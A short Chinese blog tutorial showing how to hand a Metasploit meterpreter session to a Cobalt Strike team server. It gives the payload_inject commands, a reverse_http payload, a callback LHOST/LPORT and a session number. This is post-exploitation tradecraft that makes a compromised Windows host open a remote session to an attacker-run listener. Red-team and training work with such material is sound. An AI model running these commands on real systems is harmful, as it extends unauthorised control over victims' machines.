msf+cobaltstrike联动(一):把msf的session发给cobaltstrike

前提:MFS已经获取到session,可以进入metepreter,现在需要使用cobaltstrike进行图形化管理或团队协作。

cobaltstrike起一个beacon监听

如使用:windows/beacon_http/reverse_http

设置好host和port之后启动监听。

MSF中使用

use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.3.117
msf exploit(payload_inject) > set LPORT 10001
msf exploit(payload_inject) > set SESSION 1

注:set DisablePayloadHandler true 作用是msf不监听,代表是用来返给其他监听的

都设置好后

msf exploit(payload_inject) > run

去CS端查看结果

cs成功接收到msf中的session

-------------本文结束❤感谢阅读-------------

本文标题:msf+cobaltstrike联动(一):把msf的session发给cobaltstrike

文章作者:MaiKeFee

发布时间:2019年09月11日

最后更新:2019年09月11日

原始链接:http://MaiKeFee.com/archives/c2c552f3.html